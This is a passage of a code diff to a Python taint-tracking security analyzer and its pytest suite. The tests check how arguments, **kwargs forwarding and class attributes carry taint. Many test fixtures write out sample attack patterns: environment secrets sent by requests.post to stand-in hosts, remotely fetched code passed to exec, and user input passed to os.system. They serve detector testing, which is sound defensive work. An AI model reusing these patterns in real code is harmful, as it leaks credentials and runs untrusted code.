list[int] = [] for group, offset in members: - slot: object = position + offset - if unpacked or position + offset >= _MAX_POSITIONAL_SLOTS: - slot = "*" + slot: object + if starred_at >= 0: + slot = ("*", min(starred_at + offset, _MAX_POSITIONAL_SLOTS)) + elif position + offset >= _MAX_POSITIONAL_SLOTS: + slot = ("*", _MAX_POSITIONAL_SLOTS) + else: + slot = position + offset keys.append(self.slot(group, slot)) slots.append(keys) for keyword in node.keywords: + names = ( + [keyword.arg] if keyword.arg is not None else self.forwarded_names(keyword.value) + ) keys = [] - for group, _offset in members: - if keyword.arg is None: - keys.append(self.slot(group, "**")) + for group, offset in members: + if names is None: + keys.append(self.slot(group, ("**", offset))) continue - if keyword.arg in group.keyword_params: - keys.append(self.slot(group, ("kw", keyword.arg))) - if group.has_kwarg: - keys.append(self.slot(group, "kw*")) - slots.append(keys) + named, kwarg_named = group.signature() + for name in names: + if name in named: + keys.append(self.slot(group, ("kw", name))) + if kwarg_named is not None and name not in kwarg_named: + keys.append(self.slot(group, "kw*")) + slots.append(list(dict.fromkeys(keys))) for keys, (names, others, sources) in zip(slots, scans, strict=True): self.seed(keys, _BIND, line, sources) self.add_flow([*names, *others], keys, _BIND, line, False) + def forwarded_names(self, value: ast.expr) -> list[str] | None: + """The keywords a forwarded ``**kwargs`` can hold, or ``None`` if unknown. + + ``**kwargs`` of an in-file function holds only the keyword names its + call sites pass into it (``collect_keywords``), unless some call site + passes a ``**mapping`` or the parameter is reassigned. + """ + if not isinstance(value, ast.Name): + return None + index = self.index + key = index.name_key.get(value, -1) + function = index.kwarg_params.get(key) + if function is None or function.group is None or key in index.stored: + return None + group = function.group + return None if group.kw_open else sorted(group.kw_names) + + def collect_keywords(self) -> None: + """Record the keyword names each callee's ``**kwargs`` receives.""" + index = self.index + for node, _scope in index.statements: + if not isinstance(node, ast.Call) or not node.keywords: + continue + self.tick() + for group, _offset in index.call_targets(node, self.tick).members: + _named, kwarg_named = group.signature() + if kwarg_named is None or group.kw_open: + continue + for keyword in node.keywords: + if keyword.arg is None: + group.kw_open = True + break + if keyword.arg not in kwarg_named: + group.kw_names.add(keyword.arg) + if len(group.kw_names) > _MAX_POSITIONAL_SLOTS: + group.kw_open = True + def slot(self, group: _Group, slot: object) -> int: key = group.slots.get(slot) if key is None: @@ -1490,61 +1765,93 @@ def defaults(self, function: _Function) -> None: for arg, default in pairs: self.tick() target = (self.index.key(function.scope, arg.arg),) - names, others, sources = self.scan(default, defining, False) + names, others, sources = self.scan(default, defining, False, opaque_lambdas=True) self.seed(target, _ASSIGN, default.lineno, sources) self.add_flow([*names, *others], target, _ASSIGN, default.lineno, False) def link_callees(self) -> None: - """Flow each callee's argument slots into the parameters they bind.""" + """Flow each callee's argument slots into the parameters they bind. + + Parameter *i* reads positional slot *i*, the ``*args`` wildcards that + start at or before *i*, its keyword slot and the ``**mapping`` + wildcards whose receiver offset is at most *i* (keywords and mappings + never reach positional-only parameters). + """ index = self.index for group in index.groups: if not group.slots: continue slots = group.slots + stars = [ + (start, slots[("*", start)]) + for start in range(_MAX_POSITIONAL_SLOTS + 1) + if ("*", start) in slots + ] + mappings = [ + (offset, slots[("**", offset)]) for offset in (0, 1) if ("**", offset) in slots + ] + rest = slots.get("kw*") for function in group.functions: self.tick() args = function.node.args scope = function.scope positional = [*args.posonlyargs, *args.args] + posonly = len(args.posonlyargs) for position, arg in enumerate(positional): - reads = [ - slots.get(position if position < _MAX_POSITIONAL_SLOTS else "*"), - slots.get("*"), - None if position < len(args.posonlyargs) else slots.get(("kw", arg.arg)), - slots.get("**"), - ] + reads = [slots.get(position)] + reads.extend(key for start, key in stars if start <= position) + if position >= posonly: + reads.append(slots.get(("kw", arg.arg))) + reads.extend(key for offset, key in mappings if offset <= position) self.bind_parameter(reads, index.key(scope, arg.arg)) for arg in args.kwonlyargs: - reads = [slots.get(("kw", arg.arg)), slots.get("**")] + reads = [slots.get(("kw", arg.arg)), *(key for _, key in mappings)] self.bind_parameter(reads, index.key(scope, arg.arg)) if args.vararg is not None: - extra = range(len(positional), _MAX_POSITIONAL_SLOTS) - reads = [slots.get("*"), *(slots.get(position) for position in extra)] + reads = [key for _, key in stars] + reads.extend( + slots.get(i) for i in range(len(positional), _MAX_POSITIONAL_SLOTS) + ) self.bind_parameter(reads, index.key(scope, args.vararg.arg)) if args.kwarg is not None: - reads = [slots.get("kw*"), slots.get("**")] + reads = [rest, *(key for _, key in mappings)] self.bind_parameter(reads, index.key(scope, args.kwarg.arg)) def bind_parameter(self, reads: list[int | None], target: int) -> None: self.add_flow([key for key in reads if key is not None], (target,), _PASS, 0, False) def link_attributes(self) -> None: - """A ``self.x`` read sees stores of ``x`` in its class and in-file bases.""" + """A ``self.x`` read sees ``self.x`` stores in its class and in-file + bases, and the class-body ``x`` of the nearest of them that binds it.""" index = self.index + ids = index._ids for node in index.attributes: self.tick() index.attribute_view(node) for cls, attr, view in index.view_list: self.tick() reads = [] + shadowed = False for owner in index.ancestors(cls, self.tick): - store = index._ids.get(("store", owner.id, attr)) + store = ids.get(("store", owner.id, attr)) if store is not None: reads.append(store) + if not shadowed: + body = ids.get(("class", owner.id, attr)) + if body is not None: + reads.append(body) + shadowed = True + elif attr in owner.methods: + shadowed = True self.add_flow(reads, (view,), _PASS, 0, False) def build(self) -> None: - for node, scope in self.index.statements: + index = self.index + for class_key, module_key in index.class_reads: + self.tick() + self.add_flow((module_key,), (class_key,), _PASS, 0, True) + self.collect_keywords() + for node, scope in index.statements: self.tick() if isinstance(node, ast.Assign): self.assign(node, scope) @@ -1553,7 +1860,7 @@ def build(self) -> None: self.returned(node.value, scope, node.lineno) elif isinstance(node, ast.Call): self.call(node, scope) - for function in self.index.functions: + for function in index.functions: self.tick() self.defaults(function) self.link_attributes() @@ -1571,7 +1878,7 @@ def propagate(self) -> None: # Phase B: every flow. Phase A facts are read again through the new # flows (each phase A flow already fired for them and is skipped). worklist: deque[tuple[int, int, int]] = deque( - (key, 0, _BOTH_LANES) for key in self.facts[0][0] + (key, 0, _ALL_LANES) for key in self.facts[0][_FIRST_LANE] ) for targets, kind, line, fact, lanes in self.seeds: self.tick() @@ -1590,34 +1897,43 @@ def drain( self.tick() key, slot, lanes = worklist.popleft() held = facts[slot] - first = held[0].get(key) if lanes & 1 else None - second = held[1].get(key) if lanes & 2 else None - if first is not None and first is second: - carried = [(first, _BOTH_LANES)] - else: - carried = [(fact, 1 << lane) for lane, fact in enumerate((first, second)) if fact] + # Lanes holding the same fact propagate it together. + carried: list[list] = [] + for lane in _LANES: + if lanes >> lane & 1: + fact = held[lane].get(key) + if fact is None: + continue + for entry in carried: + if entry[0] is fact: + entry[1] |= 1 << lane + break + else: + carried.append([fact, 1 << lane]) for fact, fact_lanes in carried: ranks = _LANE_RANKS[fact[0]] - # One bit per (lane, rank, slot): 12 bits per flow. - bits = [1 << (6 * lane + 2 * ranks[lane] + slot) for lane in (0, 1)] + # One bit per (lane, rank, slot): 14 bits per flow. + want = 0 + for lane in _LANES: + if fact_lanes >> lane & 1: + want |= 1 << (6 * lane + 2 * ranks[lane] + slot) for table in tables: for flow_id in table.get(key, ()): mark = fired[flow_id] - todo = 0 - for lane in (0, 1): - if fact_lanes >> lane & 1 and not mark & bits[lane]: - todo |= 1 << lane - if not todo: + todo_bits = want & ~mark + if not todo_bits: # Already propagated a source of this rank: its targets # hold one at least as severe. Skip to stay linear. continue targets, kind, line = flows[flow_id] if slot and kind == _RETURN: continue - for lane in (0, 1): - if todo >> lane & 1: - mark |= bits[lane] - fired[flow_id] = mark + fired[flow_id] = mark | todo_bits + todo = ( + (1 if todo_bits & 0x3F else 0) + | (2 if todo_bits & 0xFC0 else 0) + | (4 if todo_bits & 0x3000 else 0) + ) worklist.extend(_mark_targets(self, targets, kind, line, fact, slot, todo)) # ── results ── @@ -1632,6 +1948,24 @@ def fact(self, key: int, lane: int = 0) -> _Fact | None: return bound return ordinary + def cited(self, key: int, sink_name: str, lane: int) -> _Fact | None: + """The fact a sink of *lane* reports for *key*. + + The ranked lane gives the most severe rule. The first source to + arrive (lane 2, what earlier releases cite) is reported instead + whenever it gives that same rule, so a more severe source replaces + the cited one only when it changes the rule. + """ + ranked = self.fact(key, lane) + if ranked is None: + return None + first = self.fact(key, _FIRST_LANE) + if first is not None and first is not ranked: + rule = _pick_rule(_SOURCE_NAMES[ranked[0]], sink_name, is_direct=False) + if _pick_rule(_SOURCE_NAMES[first[0]], sink_name, is_direct=False) == rule: + return first + return ranked + def tainted_names(self) -> dict[str, _TaintedVar]: """Tainted variables by readable name (module globals keep their bare name).""" index = self.index @@ -1663,7 +1997,7 @@ def _collect_tainted( Module globals keep their bare name; function locals read ``qualname..name``. See ``_TaintGraph`` for the propagation rules. """ - index = _build_scope_index(tree, aliases, type_map, check_runtime) + index = _build_scope_index(tree, check_runtime) graph = _TaintGraph(index, type_map, aliases, check_runtime) graph.run() return graph.tainted_names() @@ -1742,7 +2076,7 @@ def _find_tainted_names_in_args( for key, spelled, out in reads: if key is None or key in seen: continue - fact = graph.fact(key, lane) + fact = graph.cited(key, sink_name, lane) if fact is None: continue seen.add(key) @@ -1764,7 +2098,7 @@ def _analyze_python( lines = python_ast.lines findings: list[AnalyzerFinding] = [] check_runtime = budget.check_runtime if budget is not None else None - index = _build_scope_index(tree, aliases, type_map, check_runtime) + index = _build_scope_index(tree, check_runtime) graph = _TaintGraph(index, type_map, aliases, check_runtime) graph.run() seen: set[tuple[str, ast.Call]] = set() diff --git a/tests/nodes/analyzers/test_behavioral_taint_tracking.py b/tests/nodes/analyzers/test_behavioral_taint_tracking.py index 5f71e8b13..872c33898 100644 --- a/tests/nodes/analyzers/test_behavioral_taint_tracking.py +++ b/tests/nodes/analyzers/test_behavioral_taint_tracking.py @@ -22,6 +22,7 @@ import textwrap import time import tracemalloc +import types import pytest @@ -1202,6 +1203,31 @@ def main(): ) assert _summary(code) == [("TT3", _line(code, "# SINK"))] + @pytest.mark.parametrize( + "rebinding", + [ + "import json as x\n requests.post('https://x.invalid', data=x)", + "try:\n pass\n except Exception as x:\n" + " requests.post('https://x.invalid', data=x)", + "match cmd:\n case [x]:\n requests.post('https://x.invalid', data=x)", + "match cmd:\n case {'token': x}:\n" + " requests.post('https://x.invalid', data=x)", + "z = [y for x in ['a', 'b'] for y in x]\n requests.post('https://x.invalid', data=z)", + ], + ids=["import_as", "except_as", "match_sequence", "match_mapping", "later_iterable"], + ) + def test_function_local_bindings_shadow_a_tainted_global(self, rebinding: str) -> None: + """Each binding form makes ``x`` a local of the function, so the + module-level secret named ``x`` never reaches the sink. (A later + ``for`` of a comprehension iterates the comprehension's own ``x``.)""" + code = f"import os, requests\nx = os.getenv('TOKEN')\ndef f(cmd):\n {rebinding}\n" + assert _run(code) == [] + # The same sink reading the global (no local binding) is reported. + unbound = "import os, requests\nx = os.getenv('TOKEN')\ndef f(cmd):\n z = x\n" + ( + " requests.post('https://x.invalid', data=z)\n" + ) + assert [f.rule_id for f in _run(unbound)] == ["TT3"] + class TestDirectCalls: """Arguments of direct in-file calls bind to parameters; returns reach callers.""" @@ -1324,16 +1350,147 @@ def test_defaults_varargs_and_kwargs(self) -> None: assert len(_flows(code)) == 1, definition def test_positional_arguments_beyond_the_slot_cap_still_bind(self) -> None: - width = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + 4 - params = ", ".join(f"p{i}" for i in range(width)) - args = ", ".join('os.getenv("API_KEY")' if i == width - 1 else str(i) for i in range(width)) - code = ( - "import os, requests\n" - f"def send({params}):\n" - f' requests.post("https://example.invalid", data=p{width - 1})\n' - f"send({args})\n" + cap = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + + def module(width: int, tainted: int, read: int) -> str: + params = ", ".join(f"p{i}" for i in range(width)) + args = ", ".join( + 'os.getenv("API_KEY")' if i == tainted else str(i) for i in range(width) + ) + return ( + "import os, requests\n" + f"def send({params}):\n" + f' requests.post("https://example.invalid", data=p{read})\n' + f"send({args})\n" + ) + + # The first argument past the explicit slots (index == cap) and a later one. + assert len(_flows(module(cap + 1, cap, cap))) == 1 + assert len(_flows(module(cap + 4, cap + 3, cap + 3))) == 1 + # Arguments past the cap never reach the explicit parameters before it. + assert _flows(module(cap + 1, cap, 0)) == [] + assert _flows(module(cap + 1, cap, cap - 1)) == [] + + def test_unpacked_arguments_bind_by_position_and_name(self) -> None: + """``*seq`` fills parameters from its position on; ``**mapping`` fills + keyword-only parameters and ``**kwargs`` as well as named ones.""" + for definition, call in ( + ("def send(label, value):", 'send(*["public", os.getenv("API_KEY")])'), + ("def send(label, value):", 'send("public", *[os.getenv("API_KEY")])'), + ("def send(*, value):", 'send(**{"value": os.getenv("API_KEY")})'), + ("def send(**value):", "send(**opts)"), + ("def send(*, value):", "send(**opts)"), + ): + code = _code( + f""" + import os, requests + opts = {{"value": os.getenv("API_KEY")}} + {definition} + requests.post("https://example.invalid", data=value) # SINK + {call} + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], (definition, call) + # A ``*seq`` starting after a parameter never fills that parameter. + before = _code( + """ + import os, requests + def send(value, label): + requests.post("https://example.invalid", data=value) + send("public", *[os.getenv("API_KEY")]) + """ ) - assert len(_flows(code)) == 1 + assert _run(before) == [] + + def test_forwarding_wrappers_reach_the_named_parameter(self) -> None: + code = _code( + """ + import os, requests + def upload(url, payload): + requests.post(url, data=payload) # SINK + def wrapper(*args, **kwargs): + return upload(*args, **kwargs) + def main(): + secret = os.getenv("API_KEY") + wrapper("https://example.invalid", secret) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_keywords_bind_only_their_named_parameter(self) -> None: + """A keyword naming a parameter never also lands in ``**kwargs``.""" + for definition, call in ( + ("def call_api(url, token=None, **params):", 'token=os.environ["API_TOKEN"], q="x"'), + ("def call_api(url, *, token=None, **params):", 'token=os.environ["API_TOKEN"]'), + ): + code = _code( + f""" + import os, requests + {definition} + headers = {{"Authorization": f"Bearer {{token}}"}} + return requests.get(url, params=params) + call_api("https://example.invalid", {call}) + """ + ) + assert _run(code) == [], definition + method = _code( + """ + import os, subprocess + class Runner: + def run(self, cmd, dry_run=None, **popen_kwargs): + subprocess.run(cmd, **popen_kwargs) + def go(self): + self.run(["ls"], dry_run=input()) + """ + ) + assert _run(method) == [] + # Unnamed keywords, and positional-only names, do reach ``**kwargs``. + for definition, call in ( + ("def call_api(url, token=None, **params):", 'q=os.environ["API_TOKEN"]'), + ("def call_api(url, token=None, /, **params):", 'token=os.environ["API_TOKEN"]'), + ): + code = _code( + f""" + import os, requests + {definition} + return requests.get(url, params=params) # SINK + call_api("https://example.invalid", {call}) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], definition + # A keyword never fills a positional-only parameter, even when a + # redefinition of the callee takes that name as a keyword. + redefined = _code( + """ + import os, requests + def send(value, /): + requests.post("https://example.invalid", data=value) + def send(value): + print(value) + send(value=os.getenv("API_KEY")) + """ + ) + assert _run(redefined) == [] + + def test_a_lambda_bound_to_many_names_is_one_callee(self) -> None: + code = _code( + """ + import os, requests + a = b = c = lambda payload: requests.post("https://x.invalid", data=payload) # SINK + def b(other): + print(other) + b(os.getenv("API_TOKEN")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + groups = {id(group): group for group in index.function_groups.values()} + # The lambda and the ``def b`` it shares a name with are one callee + # that ``a``, ``b`` and ``c`` all reach; nothing is copied per name. + assert len(index.function_groups) == 3 + (group,) = groups.values() + assert len(group.functions) == 2 def test_recursion_terminates(self) -> None: code = _code( @@ -1868,6 +2025,404 @@ def send(self, token=TOKEN): ) assert _summary(code) == [("TT3", _line(code, "# SINK"))] + def test_constructed_receivers_bind_and_return(self) -> None: + """``Class().m(...)`` and ``cls().m(...)`` call ``m`` on an instance of + an in-file class: arguments bind and the return value is read.""" + returned = _code( + """ + import os, requests + class Collector: + def collect(self): + token = os.environ.get("API_KEY") + return token + @classmethod + def load(cls): + payload = cls().collect() # FROM_CLS + requests.post("https://x.invalid", data=payload) # SINK_CLS + def main(): + payload = Collector().collect() # FROM_NAME + requests.post("https://x.invalid", data=payload) # SINK_NAME + """ + ) + assert sorted( + (f.rule_id, f.start_line, f.message.split(" →")[0]) for f in _run(returned) + ) == [ + ( + "TT3", + _line(returned, "# SINK_CLS"), + f"Tainted flow: 'payload' from os.environ.get (line {_line(returned, '# FROM_CLS')}, " + "credential/environment)", + ), + ( + "TT3", + _line(returned, "# SINK_NAME"), + f"Tainted flow: 'payload' from os.environ.get (line {_line(returned, '# FROM_NAME')}, " + "credential/environment)", + ), + ] + other_lanes = _code( + """ + import requests + class Fetcher: + def code(self): + return requests.get("https://x.invalid/script").text + def creds(self): + return open("creds.txt").read() + exec(Fetcher().code()) + requests.post("https://x.invalid", data=Fetcher().creds()) + """ + ) + assert [f.rule_id for f in _run(other_lanes)] == ["TT5", "TT4"] + bound = _code( + """ + import os, requests + class Uploader: + def upload(self, body): + requests.post("https://x.invalid", data=body) # SINK + Uploader().upload(os.environ.get("API_KEY")) + """ + ) + assert _summary(bound) == [("TT3", _line(bound, "# SINK"))] + # The constructed receiver is an instance: ``self`` is implicit. + shifted = bound.replace("def upload(self, body):", "def upload(self, body, extra=None):") + shifted = shifted.replace("data=body", "data=extra") + assert _run(shifted) == [] + + def test_unpacking_never_fills_the_implicit_receiver(self) -> None: + """``*args`` / ``**kwargs`` / overflow arguments of a bound call never + reach ``self`` / ``cls``: Python passes the receiver implicitly.""" + forwarded_init = _code( + """ + import os, requests + class BaseClient: + DEFAULT_URL = "https://api.invalid" + def __init__(self, api_key=None): + self.api_key = api_key + self.base_url = self.DEFAULT_URL + def health(self): + return requests.get(self.base_url + "/health") + class OpenAIClient(BaseClient): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + client = OpenAIClient(api_key=os.getenv("OPENAI_API_KEY")) + other = OpenAIClient(os.getenv("OPENAI_API_KEY")) + """ + ) + bound_calls = _code( + """ + import subprocess, requests + class Tool: + cmd = ["git", "status"] + def send(self, *words): + requests.post("https://x.invalid", data=self.cmd) + def configure(self, **opts): + subprocess.run(self.cmd) + @classmethod + def launch(cls, *names): + subprocess.run(cls.cmd) + def run(self): + self.send(*input().split()) + self.configure(**{"mode": input()}) + Tool.launch(*input().split(",")) + Tool(**{"x": input()}) + """ + ) + assert _run(forwarded_init) == [] + assert _run(bound_calls) == [] + # An unbound ``Class.m(*args)`` does pass ``self`` explicitly. + unbound = _code( + """ + import subprocess + class Runner: + def go(self, label): + subprocess.run(self) # SINK + Runner.go(*input().split()) + """ + ) + assert _summary(unbound) == [("TT5", _line(unbound, "# SINK"))] + # Forwarding still reaches the base's named parameter. + true_flow = _code( + """ + import os, requests + class Base: + def __init__(self, token=None): + requests.post("https://x.invalid", data=token) # SINK + class Child(Base): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + Child(token=os.getenv("API_TOKEN")) + """ + ) + assert _summary(true_flow) == [("TT3", _line(true_flow, "# SINK"))] + + def test_forwarded_kwargs_bind_only_the_keywords_passed_in(self) -> None: + """``super().__init__(**kwargs)`` forwards the keyword names the + subclass's callers pass, not a wildcard over every parameter.""" + base = _code( + """ + import os, requests + class BaseClient: + def __init__(self, api_key=None, timeout=30): + self.api_key = api_key + self.timeout = timeout + def health(self): + return requests.get("https://api.invalid/health", timeout=self.timeout) + def send(self): + return requests.post("https://api.invalid", headers={"K": self.api_key}) # SINK + class OpenAIClient(BaseClient): + def __init__(self, **kwargs): + super().__init__(**kwargs) + """ + ) + named = base + 'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY"))\n' + assert _summary(named) == [("TT3", _line(named, "# SINK"))] + # An opaque mapping at the call site may hold any name: every keyword + # parameter except the implicit receiver can receive it. + opaque = base + 'OpenAIClient(**{"api_key": os.getenv("OPENAI_API_KEY")})\n' + assert len(_flows(opaque)) == 2 + reassigned = named.replace( + " super().__init__(**kwargs)", + " kwargs = dict(kwargs)\n super().__init__(**kwargs)", + ) + assert len(_flows(reassigned)) == 2 + # A keyword the subclass takes by name never reaches its ``**kwargs``, + # so forwarding it binds only the names that do. + own_parameter = _code( + """ + import os, requests + class BaseClient: + def __init__(self, api_key=None, timeout=30, **rest): + self.api_key = api_key + def send(self): + return requests.post("https://api.invalid", headers={"K": self.api_key}) + class OpenAIClient(BaseClient): + def __init__(self, api_key=None, **kwargs): + super().__init__(**kwargs) + OpenAIClient(api_key="public", extra=os.getenv("OPENAI_API_KEY")) + """ + ) + assert _run(own_parameter) == [] + + def test_overflow_arguments_never_fill_earlier_parameters(self) -> None: + cap = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + params = ", ".join(f"p{i}" for i in range(cap)) + code = ( + "import subprocess\n" + "class Tool:\n" + f" def run(self, {params}, *rest):\n" + " subprocess.run(self)\n" + " subprocess.run(p0)\n" + " subprocess.run(rest) # SINK\n" + f"Tool().run({', '.join(['1'] * cap)}, input())\n" + ) + assert _summary(code) == [("TT5", _line(code, "# SINK"))] + + def test_constructors_also_bind_to_new(self) -> None: + for parameter in ("secret", "value"): + code = _code( + f""" + import os, requests + class C: + def __new__(cls, {parameter}): + requests.post("http://x.invalid", data={parameter}) # SINK + return super().__new__(cls) + secret = os.environ.get("KEY") + C(secret) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], parameter + # ``cls`` is implicit in ``C(x)``: the first argument never fills it. + shifted = _code( + """ + import os, requests + class C: + def __new__(cls, user="x", body="public"): + requests.post("http://x.invalid", data=cls) + return super().__new__(cls) + C(os.getenv("KEY")) + C(**{"user": os.getenv("KEY")}) + """ + ) + assert _run(shifted) == [] + + def test_method_lookup_follows_c3_order(self) -> None: + """In a diamond, ``D(B, C)`` with ``B(A)`` and ``C(A)`` resolves ``m`` + on ``C`` before ``A``, as Python's MRO does.""" + diamond = _code( + """ + import os, requests + class A: + def send(self, body): + requests.post("https://x.invalid", data=body) # A_SINK + class B(A): + pass + class C(A): + def send(self, body): + print("local only") + class D(B, C): + def go(self): + super().send(os.getenv("TOKEN")) + def run(self): + self.send(os.getenv("TOKEN")) + """ + ) + assert _run(diamond) == [] + mirrored = diamond.replace( + 'print("local only")', 'requests.post("https://x.invalid", data=body)' + ).replace('requests.post("https://x.invalid", data=body) # A_SINK', "print(body)") + assert [f.rule_id for f in _run(mirrored)] == ["TT3"] + + def test_lookup_is_bounded_to_the_nearest_ancestors(self) -> None: + """The lookup visits ``_MAX_ANCESTORS`` classes, the class included.""" + depth = behavioral_taint_tracking._MAX_ANCESTORS + + def chain(levels_up: int) -> str: + classes = [ + "class K0:\n" + " def send(self, body):\n" + ' requests.post("https://x.invalid", data=body)\n' + ] + classes += [f"class K{i}(K{i - 1}):\n pass\n" for i in range(1, levels_up)] + classes.append( + f"class K{levels_up}(K{levels_up - 1}):\n" + " def go(self):\n" + ' self.send(os.getenv("TOKEN"))\n' + ) + return "import os, requests\n" + "".join(classes) + + assert [f.rule_id for f in _run(chain(depth - 1))] == ["TT3"] + assert _run(chain(depth)) == [] + + def test_a_subclass_body_shadows_a_base_class_attribute(self) -> None: + shadowed = _code( + """ + import os, requests + class Base: + token = os.environ.get("SERVICE_TOKEN") + class PublicProbe(Base): + token = None + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + class MethodProbe(Base): + def token(self): + return "public" + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + """ + ) + assert _run(shadowed) == [] + own = _code( + """ + import os, requests + class Base: + token = os.environ.get("SERVICE_TOKEN") + class Probe(Base): + token = os.environ.get("PROBE_TOKEN") # OWN + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + """ + ) + (finding,) = _run(own) + assert f"'self.token' from os.environ.get (line {_line(own, '# OWN')}," in finding.message + # An instance store in the subclass does not hide the class value + # (flow-insensitive, as documented). + instance = _code( + """ + import os, requests + class Base: + token = os.environ.get("SERVICE_TOKEN") + class Probe(Base): + def __init__(self): + self.token = None + def ping(self): + requests.get("https://status.invalid", headers={"X-Token": self.token}) + """ + ) + assert [f.rule_id for f in _run(instance)] == ["TT3"] + + def test_a_static_init_receives_the_arguments_without_an_instance(self) -> None: + code = _code( + """ + import os, requests + class Client: + @staticmethod + def __init__(token): + requests.post("https://x.invalid", data=token) # SINK + Client(os.getenv("API_TOKEN")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_method_kinds_and_receivers(self) -> None: + """``__new__`` is static, a staticmethod's first parameter is no + receiver, and ``super()`` resolves inside comprehensions and lambdas.""" + new_offset = _code( + """ + import os, requests + class Base: + def __new__(cls, secret): + requests.post("https://x.invalid", data=secret) # SINK + return object.__new__(cls) + class Child(Base): + def __new__(cls): + return super().__new__(cls, os.getenv("TOKEN")) + """ + ) + static_first = _code( + """ + import os, requests + class Client: + @staticmethod + def configure(other): + other.token = os.getenv("TOKEN") + def send(self): + requests.post("https://x.invalid", data=self.token) + """ + ) + in_comprehension = _code( + """ + import os, requests + class Base: + def send(self, v): + requests.post("https://x.invalid", data=v) # SINK + class Child(Base): + def run(self): + [super().send(os.getenv("TOKEN")) for _ in range(1)] + """ + ) + in_lambda = in_comprehension.replace( + '[super().send(os.getenv("TOKEN")) for _ in range(1)]', + '(lambda: super().send(os.getenv("TOKEN")))()', + ) + shadowed = _code( + """ + import os, requests + def super(): + return Other() + class Other: + def send(self, v): + print(v) + class Base: + def send(self, v): + requests.post("https://x.invalid", data=v) + class Child(Base): + def run(self): + super().send(os.getenv("TOKEN")) + """ + ) + inline_lambda = _code( + """ + import os, requests + (lambda v: requests.post("https://x.invalid", data=v))(os.getenv("TOKEN")) # SINK + """ + ) + assert _summary(new_offset) == [("TT3", _line(new_offset, "# SINK"))] + assert _run(static_first) == [] + for code in (in_comprehension, in_lambda): + assert _summary(code) == [("TT3", _line(code, "# SINK"))], code + assert _run(shadowed) == [] + assert _summary(inline_lambda) == [("TT3", _line(inline_lambda, "# SINK"))] + class TestNotResolved: """Calls whose callee is not known from syntax alone bind nothing, as on main. @@ -1879,9 +2434,14 @@ class TestNotResolved: """ def test_instance_receivers_do_not_bind(self) -> None: + """Variables, attributes and casts holding an instance are not typed. + + (``Api().upload(...)`` and ``cls().upload(...)`` do bind: see + ``TestMethods.test_constructed_receivers_bind_and_return``.) + """ for setup, call in ( ("api = Api()", "api.upload(secret)"), - ("pass", "Api().upload(secret)"), + ("api: Api = Api()", "api.upload(secret)"), ("api = cast(Api, raw)", "api.upload(secret)"), ("self.api = Api()", "self.api.upload(secret)"), ): @@ -1901,6 +2461,31 @@ def main(self, raw): ) assert _run(code) == [], call + def test_returns_through_instance_variables_are_not_read(self) -> None: + """The trade-off of dropping receiver typing: a value returned through + an instance held in a variable or attribute is not followed. ``main`` + reports these only when the callee's local shares the caller's name.""" + for setup, call in ( + ("vault = Vault()", "vault.load()"), + ("vault: Vault = Vault()", "vault.load()"), + ("self.vault = Vault()", "self.vault.load()"), + ): + code = _code( + f""" + import os, requests + class Vault: + def load(self): + token = os.environ.get("API_TOKEN") + return token + class Runner: + def main(self): + {setup} + payload = {call} + requests.post("https://x.invalid", data=payload) + """ + ) + assert _run(code) == [], call + def test_untyped_receivers_never_fan_out_to_same_named_methods(self) -> None: code = _code( """ @@ -2064,6 +2649,87 @@ def send(): (finding,) = _flows(code) assert f"'body' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message + def test_class_body_reads_see_the_module_global_until_the_class_binds_it(self) -> None: + """A class body reads a name it also binds with LOAD_NAME: the class's + value once bound, the module global before.""" + for body, rule in ( + ('requests.post("http://x.invalid", data=secret)\n def secret(self): pass', "TT3"), + ('secret = secret\n requests.post("http://x.invalid", data=secret)', "TT3"), + ("secret = secret.strip()\n os.system(secret)", "TT2"), + ("subprocess.run(secret, shell=True)\n for secret in ():\n pass", "TT2"), + ('requests.post("http://x.invalid", data=secret)\n import json as secret', "TT3"), + ): + code = ( + "import os, requests, subprocess\n" + 'secret = os.environ.get("KEY")\n' + f"class Beacon:\n {body}\n" + ) + assert [f.rule_id for f in _run(code)] == [rule], body + command = _code( + """ + import os + cmd = input() + class Boot: + cmd = cmd.strip() + os.system(cmd) + """ + ) + assert [f.rule_id for f in _run(command)] == ["TT5"] + attribute = _code( + """ + import os, requests + API_KEY = os.getenv("API_KEY") + class Client: + API_KEY = API_KEY + def send(self): + requests.post("https://x.invalid", data=self.API_KEY) # SINK + """ + ) + assert _summary(attribute) == [("TT3", _line(attribute, "# SINK"))] + # In a class nested in a function, LOAD_NAME skips the function's + # locals: ``secret = secret`` raises NameError and reads nothing. + nested = _code( + """ + import os, requests + def outer(): + secret = os.environ.get("KEY") + class Beacon: + secret = secret + requests.post("http://x.invalid", data=secret) + return Beacon + """ + ) + assert _run(nested) == [] + # A class body that only assigns a name reads nothing from the global. + store_only = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + class Client: + TOKEN = "public" + def send(self): + requests.post("https://x.invalid", data=self.TOKEN) + """ + ) + assert _run(store_only) == [] + # The global reaches the class-body name in main's order, so the + # message names the global's source as main does. + ordered = _code( + """ + import os + X = os.getenv("CMD") + Y = open("cmd.txt").read() + class Boot: + X = Y + os.system(X) + """ + ) + (finding,) = _run(ordered) + assert finding.message == ( + "Tainted flow: 'X' from os.getenv (line 2, credential/environment) " + "→ os.system (code execution)" + ) + def test_global_declared_in_an_enclosing_function_is_global_in_nested_ones(self) -> None: code = _code( """ @@ -2244,6 +2910,74 @@ def run(): "credential/environment) → requests.post (network output)" ) + def test_a_more_severe_source_arriving_later_still_upgrades(self) -> None: + """A flow that already fired with a weaker source fires again for a + more severe one, in both 